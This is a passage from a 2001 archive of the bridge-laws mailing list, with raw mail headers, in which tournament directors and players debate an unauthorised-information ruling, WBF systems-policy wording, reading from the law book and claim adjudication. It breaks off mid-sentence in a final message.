(EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QF0Lt02678 for ; Sat, 27 Jan 2001 02:00:22 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14MAMK-000O6H-0W for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 15:00:17 +0000 Message-ID: Date: Fri, 26 Jan 2001 02:19:45 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] References: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> <028d01c08723$5f93c9e0$9a9c1e18@san.rr.com> In-Reply-To: <028d01c08723$5f93c9e0$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >From: "Kerenyi Istvan" >> >> Dear Colleagues, >> >> may I have your opinion on the following board. >> >> North >> QJT7652 >> - >> Q72 >> AJ5 >> >> West East >> - A98 >> QJ76 K985 >> 543 T98 >> K97654 Q32 >> >> South >> K43 >> AT432 >> AKJ6 >> T >> >> IMP pairs.Both Vulnerable Dealer West. >> >> East-West all pass >> >> North opens 2 diamonds explained as either weak two major or 17-21 any >3-suiter >> South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, >> South 6 hearts. >> West now asks South what 3 hearts meant.South answers 17-21 3-suiter, >> short spade. West passes, North bids 6 spades. West now calls TD. >> TD orders to continue. East doubles. >> East leads 8 of hearts, 6 spades doubled made. >> TD is called back and decides result to stand because of the double >> of East. >> >North has to pass 6H, as he might logically do when playing behind a >screen. South could theoretically be 1=7 in the majors, with solid hearts. >I would adjust the score to the (reasonable) minimum number of tricks N/S >would win in a 6H contract, undoubled. I think we need more information. Would South respond 2NT with a solid major? If he would, then I tend to agree with you, but not everyone does. For example, as I play it, when I open 2D, partner bids 2NT, I show spades [as I presume North thought he had done] and partner bids 4NT, then that 4NT agrees spades. So by my methods 6H is clearly a try of some sort and not passable, so pass is not an LA. >With West having made an improper call to the TD (mere suspicion of an >infraction, and not even at hir turn), which may have prompted the double, >I would let the result stand for E/W. The double also looks like a >double-shot attempt, East figuring to get redress if the unwarranted >double doesn't work out well. Let E/W keep that result. > >I love it when a pair gets a zero after asking a stupid, unnecessary >question, especially when they could have had a top by keeping their >mouths shut. Yeah! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:00:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QF0Ub02692 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:00:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QF0It02676 for ; Sat, 27 Jan 2001 02:00:18 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 14MAMF-000O4z-0W for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 15:00:14 +0000 Message-ID: Date: Fri, 26 Jan 2001 02:23:08 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] WBF Systems Policy References: <02d101c08725$b581db60$9a9c1e18@san.rr.com> In-Reply-To: <02d101c08725$b581db60$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >From: "Grattan Endicott" >> +=+ It means an agreement that 2D shows >> 'a weak two in either major' etc. +=+ >I don't see a smiley, so I take this to be a serious reply. > >Grattan, the WBFLC in general, and the ACBL, all seem to think that the >words "either," "or," and "any" are unambiguous. This is not correct. All >three have at least two common meanings that are inconsistent. We can >usually tell which meaning applies by the context, but not always, and not >in this case. > >If a 2D opening shows a weak two in hearts, is that not acceptable when "a >weak two in either major" is acceptable? It says either major, and hearts >is a major suit, isn't it? The ACBL says no, not acceptable, it must be a >weak two in an unspecified major. After I pointed out the ambiguity of >"either," they changed it to "an unspecified" last year. > >I had suggested "specified or unspecified," but for some reason they >didn't buy that. Despite the fact that a weak two in a specified major is >easier to defend than one in an unspecified major, it is not permitted >even in Mid-Chart events if it can have strong adjuncts (as Multi can). > >All I am asking is what meaning is intended by "either" in the WBF Systems >Policy. The policy allows Multi, evidently, but must the major suit be >unspecified, as in Multi, or can it be a specified major? Is that a dumb >question? The EBU used to use a similar wording, and they had to change it for the same reason: it was ambiguous. There is no doubt that since the WBF know what they mean they would do better to use terminology that is unambiguous. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:39:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QFd8h03504 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:39:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QFd1t03497 for ; Sat, 27 Jan 2001 02:39:01 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id QAA22329; Fri, 26 Jan 2001 16:34:51 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id QAA09998; Fri, 26 Jan 2001 16:38:44 +0100 (MET) for Message-Id: <3.0.6.32.20010126164027.0082d330@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 26 Jan 2001 16:40:27 +0100 To: Laval_DUBREUIL@UQSS.UQuebec.CA, bridge-laws@rgb.anu.edu.au, mfrench1@san.rr.com From: alain gottcheiner Subject: RE: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:43 26/01/01 -0500, Laval_DUBREUIL@UQSS.UQuebec.CA wrote: >____________________________________________________________________ >mfrench wrote: >It is unwise to do so, even if the Laws have been memorized exactly. The >TD should carry the Laws to the table and read the applicable Law from >it. >Doing so gives players a comfortable feeling that they are being treated >in accordance with the Laws when a harsh penalty is dealt out. >________________________________________________________________________ I'm with him. I've been told by my teacher that the worst thing that could happen is that your ruling be rightly contested , and that one of the steps you could take to avoid this is to use the law book from the start - you won't suffer the ignominy of been caught in the act of transforming the wording of the law. Of course, mumbling 'mmh ... law 16B' before opening the booklet makes you even more respectable. But, as a member of the staff at the Free University of Brussels, I cherish the principle that 'it is written in the book' is not a good argument, especially when it eventually appears that it isn't ;) Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:48:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QFmcR03688 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:48:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QFmSt03680 for ; Sat, 27 Jan 2001 02:48:30 +1100 (EST) Received: from village.uunet.be (uu212-190-0-105.unknown.uunet.be [212.190.0.105]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0QFmMt19792 for ; Fri, 26 Jan 2001 16:48:24 +0100 (MET) Message-ID: <3A7170E5.5C99D3EE@village.uunet.be> Date: Fri, 26 Jan 2001 13:43:17 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] References: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Kerenyi Istvan wrote: > > Dear Colleagues, > > may I have your opinion on the following board. > > North > QJT7652 > - > Q72 > AJ5 > > West East > - A98 > QJ76 K985 > 543 T98 > K97654 Q32 > > South > K43 > AT432 > AKJ6 > T > > IMP pairs.Both Vulnerable Dealer West. > > East-West all pass > > North opens 2 diamonds explained as either weak two major or 17-21 any 3-suiter > South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, > South 6 hearts. > West now asks South what 3 hearts meant.South answers 17-21 3-suiter, > short spade. West passes, North bids 6 spades. West now calls TD. > TD orders to continue. East doubles. > East leads 8 of hearts, 6 spades doubled made. > TD is called back and decides result to stand because of the double > of East. > That reason is somewhat strange. East-West must realize that NS were in a misunderstanding, and they doubled, so that should stand. But that does not mean that 6Sp can stand. There is one possible infraction (well two, but the misinformation should not cause damage), that is the Unauthorised Information that North has, when he hears his 3He bid explained by partner as hearts in stead of spades. Regardless of the actual system, this is not authorised information. However, for North it is IMPOSSIBLE to let 6He be the contract. No infraction, no correction. > Thanks > > istvan.kerenyi@winterthur.hu > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:48:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QFmdL03689 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:48:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out2.be.uu.net (bru5-smtp-out2.uunet.be [194.7.1.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QFmUt03681 for ; Sat, 27 Jan 2001 02:48:31 +1100 (EST) Received: from village.uunet.be (uu212-190-0-105.unknown.uunet.be [212.190.0.105]) by bru5-smtp-out2.be.uu.net (8.11.2/8.11.2) with ESMTP id f0QFmQt19804 for ; Fri, 26 Jan 2001 16:48:26 +0100 (MET) Message-ID: <3A7173ED.C23DC715@village.uunet.be> Date: Fri, 26 Jan 2001 13:56:13 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: OT Baseball quotes, was Re: [BLML] Claim? References: <3.0.6.32.20010126111514.008358d0@pop.ulb.ac.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk alain gottcheiner wrote: > > At 14:59 25/01/01 -0500, Craig Senior wrote: > >As did Leo at both the Polo Grounds and Ebbets Field. > > > > Would you all please choose _inter_national sports when making subtle > allusions ? Everybody wants to participate to the presumed general hilarity. > >From one belgian cricket fan to another : Alain, let the Americans have a small sport of their own too. > A. > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 02:55:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QFt1S03708 for bridge-laws-outgoing; Sat, 27 Jan 2001 02:55:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QFskt03704 for ; Sat, 27 Jan 2001 02:54:48 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id JAA03926 for ; Fri, 26 Jan 2001 09:56:06 -0600 (CST) Message-Id: <3.0.6.32.20010126095408.007cdb30@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 26 Jan 2001 09:54:08 -0600 To: From: Grant Sterling Subject: Re: [BLML] In-Reply-To: <028d01c08723$5f93c9e0$9a9c1e18@san.rr.com> References: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The questions herein are genuine questions for the list as a whole, not rhetorical objections directed at Marvin. Marvin may well be right--I'm just curious. At 02:56 PM 1/25/2001 -0800, Marvin L. French wrote: >From: "Kerenyi Istvan" >> West East >> - A98 >> QJ76 K985 >> 543 T98 >> K97654 Q32 >> >> South >> K43 >> AT432 >> AKJ6 >> T >> >> IMP pairs.Both Vulnerable Dealer West. >> >> East-West all pass >> >> North opens 2 diamonds explained as either weak two major or 17-21 any >3-suiter >> South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, >> South 6 hearts. >> West now asks South what 3 hearts meant.South answers 17-21 3-suiter, >> short spade. West passes, North bids 6 spades. West now calls TD. >> TD orders to continue. East doubles. >> East leads 8 of hearts, 6 spades doubled made. >> TD is called back and decides result to stand because of the double >> of East. >> >North has to pass 6H, as he might logically do when playing behind a >screen. South could theoretically be 1=7 in the majors, with solid hearts. >I would adjust the score to the (reasonable) minimum number of tricks N/S >would win in a 6H contract, undoubled. I agree, with some caveats about the N/S methods, pace DWS. >With West having made an improper call to the TD (mere suspicion of an >infraction, and not even at hir turn), which may have prompted the double, W should have kept his mouth shut to begin with, and I agree that he should not be calling the TD at the mere suspicion of an infraction. But if you think there's been an infraction in the bidding, aren't you supposed to call the TD right away rather than wait until your turn to call? [Again, I know that this infraction should not trigger a TD call until later, but supposing a player does not know that fact, shouldn't he be calling immediately rather than at his turn?] >I would let the result stand for E/W. The double also looks like a >double-shot attempt, East figuring to get redress if the unwarranted >double doesn't work out well. Let E/W keep that result. Two more questions: a) Is South's answer to W's question UI to E? b) On what legal grounds do we rule 'result stands' for E/W? Is a double of a slam by a player holding the ace of trumps and an outside K 'wild and gambling'? [Especially _if_ he's entitled to the knowledge that E/W are either having a bidding misunderstanding or are cue-bidding the suit with his ace for some bizarre reason on the way to 7.] Or are you using some other law? >I love it when a pair gets a zero after asking a stupid, unnecessary >question, especially when they could have had a top by keeping their >mouths shut. Me, too. But I want to understand how it's happening in this case. >Marv >San Diego, CA, USA Curious, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 03:18:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QGIM104058 for bridge-laws-outgoing; Sat, 27 Jan 2001 03:18:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QGIFt04052 for ; Sat, 27 Jan 2001 03:18:15 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id KAA12369 for ; Fri, 26 Jan 2001 10:19:36 -0600 (CST) Message-Id: <3.0.6.32.20010126101739.007d8ae0@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 26 Jan 2001 10:17:39 -0600 To: bridge-laws@rgb.anu.edu.au From: Grant Sterling Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: References: <4X3E3MAsBEc6EwXF@blakjak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:22 PM 1/26/2001 +1100, Peter Newman wrote: >As you wrote it isn't quite so obvious. Nor is it to me. >The reason I think that is if the hand was as I detailed in the 2nd >example (below) then the same reasoning - it is irrational to pitch the >heart stopper leads to 3 down. Losing a club, a heart and a diamond. >[Despite many saying still 2 down]. My point was that if the hand was the You're exactly right that I [perhaps among others] didn't spend enough time looking at the second hand. {I still think the ruling for the first hand is obviously correct.} See below. >2nd example then by pitching hearts you make 3NT (and down 4 if you >unlucky and the defense can organise 5 defensive tricks). Is it irrational >to play for a lie of the cards where you can make the contract. The thing to remember is that the claimed line has broken down. The defense has won a club trick that the claimer didn't designate them to win. Ergo, > >I don't think the current claim laws are easy to interpret and I think it >is very hard to get consistency when the directors start to guess at what >is going to happen (particularly given that by the very essence of the >situation declarer has done something close to irrational - miscounted the >hand). I think that the vast majority of claims are pretty easy to adjudicate. There are some more difficult claims, and I don't doubt that different directors may give different rulings. I don't think that's such a big deal, especially since it almost always involves only the question of _how_ badly to hurt declarer. >> >So I assume if the hand was (and although not described consistent with the >> >play to this point): >> > >> > T5 >> > -- >> > -- >> > Q654 >> >-- 8764 >> >A875 -- >> >95 -- >> >-- 87 >> > KJ3 >> > KJ6 >> > -- >> > -- >> >> Same ruling, probably 2 tricks for the defence, can see the argument >> for three. > >Why 2? If you pitch a low heart and low spade the tricks are 3-3. If you >pitch a low heart and high spade you make 5 tricks the defence 1. I dont >see how you can average them. I think you're right here. It should be 1 or 3. I want to know the class of players involved, and the play of the hand up to this point. >> Of course, there are many situations where we do not agree, and claims >> are one of them. > >That is why as a player I would like to see uniformity regardless of >whether I get a director who subscribes to BLML or your average club >director. I wouldn't. Because that uniformity can only be purchased at far too high a price. The only practical way I can think of to make claim decision uniform is to make them uniformly draconian, and I don't want that. My club, and tournaments in my area, would be significantly _worse_ off with that sort of uniformity. I can't speak for elsewhere in the world. Are my experiences so abnormal? I have never been at a table, and cannot recall a case at my club, where a bad claim was made and the adjudication of that claim caused hard feelings because the ruling was perceived as being too lenient to declarer, or because people thought that a different TD would have given a significantly different ruling. It just doesn't happen. I have seen a very few bad claims where declarer thought the law was too strict. I have seen a million hands where declarer didn't claim when he should have. Under no circumstances do I want claim laws written that discourage people from claiming. [And yes, I know that "if people only claimed when they could clearly state a line that guaranteed the tricks they were taking, this wouldn't matter". This is irrelevant to the declarer who knows that he will occasionally mis-state a claim or forget about an outstanding card.] People who compare bridge to other 'sports' should note that in virtually all other sports there are judgement calls in enforcing the rules, calls that will be made differently by different officials at some times. Why is this so horrible in bridge? >Cheers, > >Peter Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 05:40:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QIdqh15406 for bridge-laws-outgoing; Sat, 27 Jan 2001 05:39:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QIdit15361 for ; Sat, 27 Jan 2001 05:39:45 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id NAA22551; Fri, 26 Jan 2001 13:39:39 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA003874379; Fri, 26 Jan 2001 13:39:39 -0500 X-Openmail-Hops: 1 Date: Fri, 26 Jan 2001 13:39:37 -0500 Message-Id: Subject: RE: [BLML] Claim? Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge@blakjak.com, bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Fri, 26 Jan 2001 13:39:37 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0QIdmt15377 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: In my view, a good club TD does not rule from memory. ____________________________________________________________ Bridge then is a special game. Have you ever seen a referee working with a lawbook at hockey, baseball or other such games. When calling the TD at bridge last 30 years in sectionals or nationals I rarely see one coming with his lawbook this side of the pound. Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:16:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJGFt16696 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:16:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJG8t16689 for ; Sat, 27 Jan 2001 06:16:09 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 26 Jan 2001 11:12:54 -0800 Message-ID: <002a01c087cc$63187800$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> Subject: Re: [BLML] WBF Systems Policy Date: Fri, 26 Jan 2001 11:15:33 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "alain gottcheiner" To: "Marvin L. French" Sent: Friday, January 26, 2001 2:23 AM Subject: Re: [BLML] WBF Systems Policy > At 15:18 25/01/01 -0800, Marvin L. French wrote: > >If a 2D opening shows a weak two in hearts, is that not acceptable when "a > >weak two in either major" is acceptable? It says either major, and hearts > >is a major suit, isn't it? The ACBL says no, not acceptable, it must be a > >weak two in an unspecified major. After I pointed out the ambiguity of > >"either," they changed it to "an unspecified" last year. > > AG : in the European systems rules, an opening 2D which is either a weak 2H > or one of several strong hands isn't a BSC either. Because there is an > anchor suit. Thus, no problem. > There is no anchor suit for sure if the opening can have alternative strong meanings. My 2D shows a weak two in hearts, an unbalanced strong two in spades, or a 21-22 HCP notrump hand that includes a five-card suit. 2H shows an unbalanced strong two in hearts, a weak two in spades, or a 23-24 HCP notrump hand. The openings would be Mid-Chart legal without the strong adjuncts, but are currently not permitted. I should have been more specific, just asking if these are BSC. Marv San Diego, CA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:36:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJaNO17035 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:36:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJaIt17030 for ; Sat, 27 Jan 2001 06:36:18 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 26 Jan 2001 11:33:04 -0800 Message-ID: <005c01c087cf$347c1120$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 11:27:45 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > Laval_DUBREUIL@UQSS.UQuebec.CA writes > >I hope good club directors are able to give most of their > >rulings without consulting the lawbook...)) > > The EBU *strongly* advise Club TDs not to do this because > [1] They get it wrong too often > [2] It does not give the customers confidence. > > I remember at an Open Pairs at Brighton one of the senior TDs took the > mickey out of me fro reading a BOOT from the Law book. So next ruling I > did not read it. It was an insufficient bid - and I got it wrong! > > There are exceptions. If a TD really understands the revoke Laws he > might do better not to read the bit about how the number of tricks is > calculated. > > The main exception is the OLOOT. The EBU tells its Club TDs that this > must be learnt not read. > > On a club TD course marks are always deducted for not reading from the > Law book, except for the OLOOT. Every student has to do the OLOOT on > his own to one of the tutors. > David, please explain why this is so. I believe you also had some problem with the OLOOT law itself. For those of us who don't understand the problem, give us a little education if you don't mind. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 27 06:36:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0QJaV017040 for bridge-laws-outgoing; Sat, 27 Jan 2001 06:36:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0QJaOt17036 for ; Sat, 27 Jan 2001 06:36:25 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id OAA09394 for ; Fri, 26 Jan 2001 14:36:21 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id OAA03461 for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 14:36:21 -0500 (EST) Date: Fri, 26 Jan 2001 14:36:21 -0500 (EST) From: Steve Willner Message-Id: <200101261936.OAA03461@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] WBF Systems Policy X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Marvin L. French" > My 2D shows a weak two in hearts, an unbalanced strong two in spades, or a > 21-22 HCP notrump hand that includes a five-card suit. I agree with Marv: as far as I can tell, in the 